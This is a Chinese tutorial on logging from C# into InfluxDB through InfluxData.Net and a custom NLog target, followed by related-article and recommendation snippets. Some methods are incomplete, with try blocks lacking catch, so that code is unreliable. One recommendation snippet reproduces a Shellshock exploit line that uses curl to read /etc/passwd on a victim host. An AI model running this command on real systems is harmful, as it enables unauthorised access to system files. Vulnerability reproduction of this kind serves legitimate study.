1、安装和使用Influxdb

安装部分网上资料比较多,也讲的比较详细,请自行百度。

下面大概讲下InfluxDB的写入和读取数据的方法。

我使用了InfluxData.Net包。

工具-》NuGet包管理器-》管理解决方案的NuGet程序包-》浏览-》输入InfluxData.Net。



安装好之后就可以写代码了

其中注意几点坑

1、InfluxDB的time格式是世界标准时区时间,所以我在其基础上加了8小时,具体请看下面的代码。

2、插入和查询数据时,语句中不能包含引号“”、‘’,这和InfluxDB的行协议有关,如果插入的数据中包含引号,一定要进行转义。例如 \"weather\"

3、查询后的数据格式和其他数据库不一致,格式如下。我提供了两种解析方法(输出List或json字符串)



代码如下:

using InfluxData.Net.Common.Enums;
using InfluxData.Net.InfluxDb;
using InfluxData.Net.InfluxDb.Models;
using System;
using System.Collections.Generic;
using System.Data;
using System.Diagnostics.Eventing.Reader;
using System.Linq;
using System.Threading.Tasks;
using InfluxData.Net.Common.Helpers; namespace test
{
public class InfluxDbRepository
{
private readonly InfluxDbClient _clientDb;
private readonly IInfluxDbConfig _influxDbConfig;
public InfluxDbRepository(IInfluxDbConfig influxDbConfig)
{
_influxDbConfig = influxDbConfig;
var influxUrl = _influxDbConfig.Get().InfluxUrl;
var influxUser = _influxDbConfig.Get().InfluxUser;
var influxPwd = _influxDbConfig.Get().InfluxPwd; //创建InfluxDbClient实例
_clientDb = new InfluxDbClient(influxUrl, influxUser, influxPwd, InfluxDbVersion.Latest);
} /// <summary>
/// 写入单个对象
/// </summary>
/// <param name="entities"></param>
/// <param name="baseLog">基本信息</param>
/// <returns></returns>
public async System.Threading.Tasks.Task InsertAsync(BaseLog baseLog)
{
try
{
var tags = new Dictionary<string, object>();
var fields = new Dictionary<string, object>(); var propertyInfos = ForeachClassHelper.ForeachClassProperties<BaseLog>(baseLog);
foreach (var item in propertyInfos)
{
fields.Add(item.Name, item.GetValue(baseLog, null));
} var pointModel = new Point()
{
Name = _influxDbConfig.Get().TableName,//表名
Tags = tags,
Fields = fields,
Timestamp = DateTime.UtcNow.AddHours(8)
};
var response = await _clientDb.Client.WriteAsync(pointModel, _influxDbConfig.Get().DbName);
}
catch (Exception ex)
{ throw;
} } /// <summary>
/// 从InfluxDB中读取数据 返回string,和返回List的性能几乎一样
/// 测试6万条数据 1s
/// </summary>
public async Task<string> GetDataAsync(string sql)
{
try
{
//传入查询命令,支持多条
var queries = new[] { sql };
var dbName = _influxDbConfig.Get().DbName;
Stopwatch sw = new Stopwatch();
sw.Start();
//从指定库中查询数据
var response = await _clientDb.Client.QueryAsync(queries, dbName);
sw.Stop(); long dur = sw.ElapsedMilliseconds;
//得到Serie集合对象(返回执行多个查询的结果)
var series = response.ToList(); string rtn;
if (series.Any())
{
var dt = new DataTable();
//取出第一条命令的查询结果,是一个集合
var column = series[0].Columns;
foreach (var item in column)
{
dt.Columns.Add(item, typeof(string));
}
var list = series[0].Values;
foreach (var row in list)
{
DataRow dr = dt.NewRow();
for (int i = 0; i < row.Count; i++)
{
dr[i] = row[i];
}
dt.Rows.Add(dr);
}
rtn = SerializeHelper.ToJson(dt);
}
else
{
rtn = "";
}
return rtn;
}
} /// <summary>
/// 查询 返回List
/// </summary>
/// <typeparam name="T"></typeparam>
/// <param name="sql"></param>
/// <returns></returns>
public async Task<List<T>> GetDataListAsync<T>(string sql) where T : new()
{
try
{
//传入查询命令,支持多条
var queries = new[] { sql };
var dbName = _influxDbConfig.Get().DbName; //从指定库中查询数据
var response = await _clientDb.Client.QueryAsync(queries, dbName);
//得到Serie集合对象(返回执行多个查询的结果)
var series = response.ToList(); List<T> listrtn = new List<T>();
if (series.Any())
{
//取出第一条命令的查询结果,是一个集合
var column = series[0].Columns.ToList();
var list = series[0].Values;
for (int i = 0; i < list.Count(); i++)
{
var temp = new T();
var propertyInfos = ForeachClassHelper.ForeachClassProperties<T>(temp);
foreach (var item in propertyInfos)
{
if (item.Name != "time")
{
int index = column.FindIndex(x => x.Equals(item.Name));
if (index != -1)
{
item.SetValue(temp, list[i][index], null);//给对象赋值
}
}
}
listrtn.Add(temp);
}
}
else
{
listrtn = null;
}
return listrtn;
}
}
}
}

2、使用Nlog

2.1 安装Nlog

新建项目后,工具-》NuGet包管理器-》管理解决方案的NuGet程序包



选择Nlog进行安装,如果是.net core项目就选择Nlog.Web.AspNetCore。

2.2 配置Nlog

配置内容写在Nlog.config里边。主要用到两个标签:

Target:这个是主要用来配置日志输出的相关参数的,比如输出到文件、控制台还是数据库,输出的文件名称是什么,内容格式是什么等。

Rules:输出规则,定义根据不同的日志级别输出到不同的地方,比如Info类型的输出到文件,Error类型的通过邮件发送处理等。

详细的配置内容参考官方文档: https://github.com/nlog/NLog/wiki/Configuration-file.

下面是一个简单的配置

<?xml version="1.0" encoding="utf-8" ?>
<nlog xmlns="http://www.nlog-project.org/schemas/NLog.xsd"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.nlog-project.org/schemas/NLog.xsd NLog.xsd"
autoReload="true"
throwExceptions="false"
internalLogLevel="Off" internalLogFile="c:\temp\nlog-internal.log">
<variable name="myvar" value="myvalue"/>
<targets>
<target xsi:type="File" name="file" fileName="${basedir}/Logs/${date:format=yyyyMM}/${shortdate}.txt"
layout="
${newline}时间: ${longdate}
${newline}来源: ${callsite}
${newline}等级: ${level}
${newline}信息: ${message}
${newline}堆栈: ${event-context:item=exception} ${stacktrace}
${newline}${newline}-----------------------------------------------------------" />
<target name="console" type="Console" layout="${longdate} ${callsite} ${level} ${message}${newline}" />
</targets>
<rules>
<logger name="*" writeTo="file" />
<logger name="*" minlevel="Trace" writeTo="console" />
</rules>
</nlog>

如果要讲日志输出到InfluxDB这种非标准输出,则需要扩展,编写自定义目标

下面是拓展步骤

2.2.1 编写自定义目标

1、创建一个继承自的类 NLog.Targets.TargetWithLayout

2、覆盖Write()方法。

3、在此方法的主体中,调用this.Layout.Render()以获取消息文本,然后将文本发送到目标媒体。

代码如下:

using NLog;
using NLog.Config;
using NLog.Targets;
using System;
using System.Collections.Generic;
using System.Text;
using Microsoft.Extensions.DependencyInjection; namespace test
{
/// <summary>
/// 自定义Nlog写入目标-InfluxDB
/// </summary>
[Target("InfluxDB")]
public class InfluxDBTarget: TargetWithLayout
{
public InfluxDBTarget()
{
}
protected override void Write(LogEventInfo logEvent)
{
//获取消息文本
string logMessage = this.Layout.Render(logEvent);
//反序列化
BaseLog baseLog = SerializeHelper.FromJson<BaseLog>(logMessage);
//将日志内容保存到InfluxDB数据库
var repository = AppStartup.App.ServiceProvider.GetService<InfluxDbRepository>();
repository.InsertAsync(baseLog);
}
private void InsertInfluxDB(string message)
{
// TODO - write me
}
}
}

2.2.2 配置输出内容InfluxDB

在Nlog.config中配置输出内容,配置如下

<?xml version="1.0" encoding="utf-8" ?>
<nlog xmlns="http://www.nlog-project.org/schemas/NLog.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
throwExceptions="true">
<extensions>
<!--这里是上面InfluxDBTarget所在程序集的名称-->
<add assembly="test" />
</extensions>
<targets async="true">
<target name="database" type="InfluxDB" layout="{'ProcessId':'${processid}','Level':'${level}','AppDomain': '${appdomain}' ,'MachineName':'${machinename}'
,'Message': '${message}','AssemblyVersion': '${assembly-version}','ProcessName':'${processname}','CallSite':'${callsite}','CallSiteLinenumber':'${callsite-linenumber}',
'ThreadId':'${threadid}','Exception':'${exception}','IP':'${aspnet-request-ip}','LongDate':'${longdate}','StackTrace':'${stacktrace}'}" />
</targets>
<rules>
<logger name="*" minlevel="Trace" writeTo="database" />
</rules>
</nlog>

到这Nlog部分就结束了

InfluxDB Studio查询日志内容

Nlog打印日志到Influxdb数据库的更多相关文章

  1. Asp.Net Core NLog 将日志输出到数据库以及添加LayoutRenderer的支持

    在这之前打算用Apache的Log4Net,但是发现其AdoNetAppender方法已经不存在了,无法使用配置文件直接输出到数据库了,因此我便改用了NLog框架. 一.对项目添加NLog 通过Nug ...

  2. .NET Core+NLog+存储配置 日志存入到数据库

    nlog-config.xml 配置文件: <?xml version="1.0" encoding="utf-8" ?> <nlog xml ...

  3. 转:NLog 自定义日志内容,写日志到数据库;修改Nlog.config不起作用的原因

    转:http://www.cnblogs.com/tider1999/p/4308440.html NLog的安装请百度,我安装的是3.2.NLog可以向文件,数据库,邮件等写日志,想了解请百度,这里 ...

  4. 使用NLog把日志写入数据库并按天自动分表

    前言 最近用Asp.net Core开发程序的时候 因为时间的关系,就没有过多的去关注日志方面的功能 都是直接用系统的ILogger先记录着,然后看日志的时候就先在命令行看日志 在开发阶段没有什么问题 ...

  5. EF Core使用SQL调用返回其他类型的查询 ASP.NET Core 2.0 使用NLog实现日志记录 CSS 3D transforms cSharp:use Activator.CreateInstance with an Interface? SqlHelper DBHelper C# Thread.Abort方法真的让线程停止了吗? 注意!你的Thread.Abort方法真

    EF Core使用SQL调用返回其他类型的查询   假设你想要 SQL 本身编写,而不使用 LINQ. 需要运行 SQL 查询中返回实体对象之外的内容. 在 EF Core 中,执行该操作的另一种方法 ...

  6. Log4j配置的经典总结,打印日志文件,日志存库

        一.介绍 Log4j是Apache的一个开放源代码项目,通过使用Log4j,我们可以控制 日志信息输送的目的地是控制台.文件.GUI组件.甚至是套接口服务 器.NT的事件记录器.UNIX Sy ...

  7. ASP.NET Core 实战:使用 NLog 将日志信息记录到 MongoDB

    一.前言 在项目开发中,日志系统是系统的一个重要组成模块,通过在程序中记录运行日志.错误日志,可以让我们对于系统的运行情况做到很好的掌控.同时,收集日志不仅仅可以用于诊断排查错误,由于日志同样也是大量 ...

  8. NET Core 实战:使用 NLog 将日志信息记录到 MongoDB

    NET Core 实战:使用 NLog 将日志信息记录到 MongoDB https://www.cnblogs.com/danvic712/p/10226557.html ASP.NET Core ...

  9. .Net Core 使用NLog记录日志到文件和数据库

    NLog 记录日志是微软官方推荐使用. 接下来,通过配置日志记录到文件和Sql Server数据库. 第一步:首先添加包NLog.Config (可通过微软添加包命令Install-Package 包 ...

随机推荐

  1. nginx配置之错误和访问日志功能

    错误日志功能:logs/error.log nginx.conf中: #error_log logs/error.log; #error_log logs/error.log notice; #err ...

  2. zz MySQL redo log及recover过程浅析

    原作地址:http://www.cnblogs.com/liuhao/p/3714012.html 写在前面:作者水平有限,欢迎不吝赐教,一切以最新源码为准. InnoDB redo log 首先介绍 ...

  3. 查找最大元素(hdu2025)

    输入方式:直接循环输入不带空格的未知长度的字符串. 思考:直接循环输入未知长度的字符串,用while(gets_s()),循环内外不用getchar().(注意,每次字符串都是以整体输入) #incl ...

  4. ES[7.6.x]学习笔记(十一)与SpringBoot结合

    在前面的章节中,我们把ES的基本功能都给大家介绍完了,从ES的搭建.创建索引.分词器.到数据的查询,大家发现,我们都是通过ES的API去进行调用,那么,我们在项目当中怎么去使用ES呢?这一节,我们就看 ...

  5. 基于Hadoop不同版本搭建hive集群(附配置文件)

    本教程采用了两种方案 一种是hive-1.21版本,hadoop版本为hadoop2.6.5 还有一种是主要讲基于hadoop3.x hive的搭建 先来第一种 一.本地方式(内嵌derby) 步骤 ...

  6. [转]从 Apple TV 看电视的进化

    电视被许多人吐槽为 “几十年没变过的东西”,因此苹果也被寄予厚望能改变这件事物.可惜的是,这种期望在空中飘了这么久,苹果也没玩出多少花样,直到这次发布会 Apple TV 才有了一些值得期待的改进. ...

  7. 03.Django-ORM

    ORM 1. 数据库配置 配置使用sqlite3,mysql,oracle,postgresql等数据库 sqlite3数据库配置 DATABASES = { 'default': { # 默认使用的 ...

  8. python调用大漠插件教程02大漠插件绑定测试工具

    什么是大漠插件绑定测试工具? 这是大漠插件为了方便使用者调试绑定窗口的模式而设计的,因为有些程序不会接受一般的鼠键事件的响应模式,每个程序所需要的响应模式都不尽相同,所以这个工具可以使我们在绑定窗口时 ...

  9. Shellshock漏洞复现

    漏洞分析: exp: curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://172.16.20.134:8080/victi ...

  10. Orcle 查询语句

    首先,以超级管理员的身份登录oracle       sqlplus sys/bjsxt as sysdba   --然后,解除对scott用户的锁       alter user scott ac ...